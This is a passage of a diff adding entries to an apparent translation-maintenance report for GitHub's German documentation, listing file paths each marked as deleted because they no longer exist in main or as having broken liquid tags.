+translations/de-DE/content/issues/trying-out-the-new-projects-experience/using-insights-with-projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-your-organizations-installed-integrations.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-apps/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/organizations/restricting-access-to-your-organizations-data/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md,file deleted because it no longer exists in main
+translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/actions.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/activity.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/apps.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/billing.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/branches.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/checks.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/code-scanning.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/collaborators.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/commits.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/dependabot.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/dependency-graph.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/deployments.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/emojis.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/gists.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/interactions.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/issues.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/licenses.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/markdown.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/meta.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/metrics.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/migrations.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/orgs.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/packages.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/pages.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/rate-limit.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/reactions.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/releases.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/repos.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/scim.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/search.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/secret-scanning.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/teams.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/users.md,file deleted because it no longer exists in main
+translations/de-DE/content/rest/reference/webhooks.md,file deleted because it no longer exists in main
+translations/de-DE/content/site-policy/privacy-policies/github-data-protection-agreement.md,file deleted because it no longer exists in main
+translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md,file deleted because it no longer exists in main
+translations/de-DE/data/features/security-overview-views.yml,file deleted because it no longer exists in main
+translations/de-DE/data/glossaries/internal.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/0.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/1.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/10.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/11.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/12.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/13.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/14.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/16.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/17.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/18.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/19.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/2.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/20.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/21.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/22.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/23.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/24.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/3.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/4.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/5.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/6.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/7.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/8.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-20/9.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/0.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/1.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/10.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/11.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/12.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/13.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/14.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/15.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/16.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/17.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/18.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/19.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/2.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/20.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/21.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/22.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/23.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/3.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/4.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/5.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/6.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/7.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/8.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-21/9.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/0.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/1.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/10.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/11.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/12.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/13.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/14.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/15.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/16.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/17.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/18.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/19.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/2.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/20.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/21.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/22.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/3.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/4.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/5.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/6.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/7.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/8.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/2-22/9.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/0-rc1.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/0-rc2.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/0.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/1.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/10.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/11.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/12.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/13.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/14.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/15.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/16.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/17.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/18.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/19.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/2.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/20.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/21.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/22.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/23.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/24.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/25.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/3.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/4.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/5.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/6.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/7.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/8.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-0/9.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/0-rc1.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/0.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/1.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/10.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/11.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/12.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/13.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/14.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/15.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/16.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/17.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/18.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/19.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/2.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/20.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/21.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/22.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/3.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/4.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/5.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/6.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/7.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/8.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-1/9.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/0-rc1.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/0.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/1.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/10.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/11.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/12.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/13.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/14.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/15.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/16.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/17.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/18.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/2.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/3.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/4.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/5.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/6.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/7.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/8.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/enterprise-server/3-2/9.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/github-ae/2021-03/2021-03-03.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/github-ae/2021-06/2021-12-06.yml,file deleted because it no longer exists in main
+translations/de-DE/data/release-notes/github-ae/2022-05/2022-05-17.yml,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/actions/enterprise-s3-support-warning.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/actions/hardware-requirements-3.6.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/actions/link-to-example-library.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/actions/minio-gateways-removal.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/actions/perform-blob-storage-precheck.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/actions/self-hosted-runner-configure-runner-group-access.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/actions/self-hosted-runner-configure-runner-group.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/actions/self-hosted-runner-create-group.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/actions/self-hosted-runner-groups-add-to-enterprise-first-steps.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/apps/metadata-permissions.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/billing/per-user-pricing-reference.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/about-billing-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/about-personalization.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/apply-devcontainer-changes.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/availability.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/beta-functionality-limited.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/billing-for-prebuilds-default.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/billing-for-prebuilds-reducing.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/billing-for-prebuilds.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/codespaces-api-beta-note.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/codespaces-billing.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/concurrent-codespace-limit.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/prebuilds-beta-note.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/prebuilds-not-available.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/review-pr.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/unsupported-repos.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/codespaces/vscode-settings-order.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/dependabot/beta-security-and-version-updates-onboarding.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/dependabot/create-dependabot-yml.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/dependabot/dependabot-secrets-button.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/dependency-review/beta.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/dependency-review/dependency-review-api-beta-note.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/desktop/paste-email-git-config.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/dotcom_billing/codespaces-minutes.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/education/upgrade-organization.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/education/upgrade-page.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/enterprise-accounts/repository-visibility-policy.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/enterprise/upgrade-ghes-for-actions.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/enterprise_installation/upgrade-hardware-requirements.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/enterprise_management_console/username_normalization_sample.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/gated-features/advanced-security.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/gated-features/codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/gated-features/discussions.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/gated-features/security-center.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/getting-started/learning-lab-enterprise.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/getting-started/learning-lab.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/open-source/open-source-learning-lab.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/organizations/organizations_include.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/package_registry/authenticate_with_pat_for_container_registry.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/pages/pages-builds-with-github-actions-public-beta.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/repositories/squash-and-rebase-linear-commit-hisitory.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/branches/branch-protection.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/enterprise-admin/audit-log.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/enterprise-admin/billing.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/issues/assignees.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/issues/labels.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/issues/milestones.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/metrics/community.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/orgs/members.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/orgs/outside-collaborators.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/projects/cards.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/projects/columns.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/repos/forks.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/repos/lfs.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/rest-reference/users/followers.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/security-center/beta.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/security-center/permissions.md,file deleted because it no longer exists in main
+translations/de-DE/data/reusables/server-statistics/release-phase.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md,broken liquid tags
+translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md,broken liquid tags
+translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md,broken liquid tags
+translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md,broken liquid tags
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md,broken liquid tags
